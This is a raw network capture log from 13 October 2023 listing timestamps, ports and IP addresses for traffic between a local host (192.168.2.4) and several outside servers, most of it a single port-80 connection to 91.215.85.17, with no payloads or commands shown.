Oct 13, 2023 16:06:19.246370077 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:19.246423960 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:19.265995026 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:19.266021967 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:19.268733025 CEST	80	49793	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:19.268827915 CEST	49793	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:19.272550106 CEST	443	49795	172.217.14.109	192.168.2.4
Oct 13, 2023 16:06:19.285398006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.285495043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.286540985 CEST	49795	443	192.168.2.4	172.217.14.109
Oct 13, 2023 16:06:19.286564112 CEST	443	49795	172.217.14.109	192.168.2.4
Oct 13, 2023 16:06:19.289185047 CEST	443	49795	172.217.14.109	192.168.2.4
Oct 13, 2023 16:06:19.289273024 CEST	49795	443	192.168.2.4	172.217.14.109
Oct 13, 2023 16:06:19.293148041 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:19.295695066 CEST	49795	443	192.168.2.4	172.217.14.109
Oct 13, 2023 16:06:19.295874119 CEST	443	49795	172.217.14.109	192.168.2.4
Oct 13, 2023 16:06:19.295907021 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:19.295938969 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:19.296422958 CEST	49795	443	192.168.2.4	172.217.14.109
Oct 13, 2023 16:06:19.296430111 CEST	443	49795	172.217.14.109	192.168.2.4
Oct 13, 2023 16:06:19.296693087 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:19.296762943 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:19.297693014 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:19.297761917 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:19.302072048 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:19.302203894 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:19.302217960 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:19.342533112 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:19.343254089 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:19.371408939 CEST	49795	443	192.168.2.4	172.217.14.109
Oct 13, 2023 16:06:19.388252020 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:19.388320923 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:19.400891066 CEST	49793	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:19.401468992 CEST	49799	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:19.584376097 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:19.594474077 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:19.594582081 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:19.628199100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651310921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651376009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651417971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651458025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651470900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.651498079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651523113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.651536942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651578903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.651580095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651719093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651763916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.651763916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651806116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651844978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651849031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.651918888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651957035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.651961088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.652098894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652144909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.652201891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652293921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652332067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.652332067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652426958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652467966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.652499914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652539968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652578115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652585030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.652648926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652694941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.652718067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652787924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652823925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652940989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652972937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.652982950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.652987957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.653054953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653090954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.653093100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653131962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653171062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.653203964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653275013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653314114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653315067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.653426886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653466940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.653467894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653539896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653580904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653582096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.653651953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653690100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.653722048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653760910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653798103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653800011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.653867960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653907061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653909922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.653944969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.653987885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.654020071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654057980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654093981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.654130936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654201031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654237032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.654237032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654275894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654314995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.654347897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654417038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654464006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.654472113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654510975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654547930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.654550076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654628038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654669046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.654697895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654736996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654776096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654779911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.654850006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654895067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.654953957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.654990911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655030012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.655064106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655102968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655143023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655145884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.655215025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655256987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.655286074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655355930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655395031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655397892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.655436039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655481100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.655508041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655690908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655730963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655735016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.655767918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655805111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655807018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.655842066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655879974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655889034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.655920029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655956030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.655956984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.656028032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656071901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656073093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.656146049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656186104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.656255960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656327009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656364918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656403065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656440973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.656475067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656508923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.656544924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656582117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656588078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.656651020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656694889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.656755924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656864882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656903982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656904936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.656944036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.656980038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.657016039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657052994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657092094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.657121897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657160044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657198906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.657263041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657376051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657433987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.657464981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657537937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657574892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.657625914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657717943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657758951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.657809973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657882929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.657922983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.658001900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.658090115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.658128023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.658128977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.658236980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.658286095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.658341885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.658418894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.658459902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.658510923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.658638954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.658675909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.658680916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.658790112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.658830881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.658854008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.658963919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.659002066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.659127951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.659212112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.659252882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.659301996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.659400940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.659436941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.659487009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.659584999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.659631968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.659679890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.659749985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.659784079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.659787893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.659902096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.659945011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.659985065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.660110950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.660154104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.660200119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.660310984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.660366058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.660393953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.660496950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.660545111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.660573959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.660646915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.660691023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.660742998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.660819054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.660855055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.660904884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.660985947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661022902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.661071062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661194086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661235094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.661277056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661412954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661453962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.661689043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661730051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661767960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.661767960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661809921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661845922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.661847115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661885023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661920071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.661921024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661959887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.661993980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.661993980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662067890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662107944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.662110090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662214041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662332058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.662333012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662373066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662400007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662410021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.662444115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662477970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662480116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.662512064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662544966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.662587881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662710905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662730932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662744045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.662837029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662872076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.662899971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.662971020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663002968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.663048983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663110018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663144112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.663175106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663220882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663258076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.663278103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.663285971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663302898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663340092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.663475037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663541079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663583040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.663613081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663650036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663683891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.663712025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663749933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663784981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.663856983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663877010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663909912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.663918972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.663969040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664005041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.664030075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664062977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664098978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.664140940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664184093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664201975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664216042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.664309978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664347887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.664351940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664422035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664441109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664490938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.664520025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664555073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.664644957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664726019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.664762974 CEST	49762	80	192.168.2.4	91.215.85.17
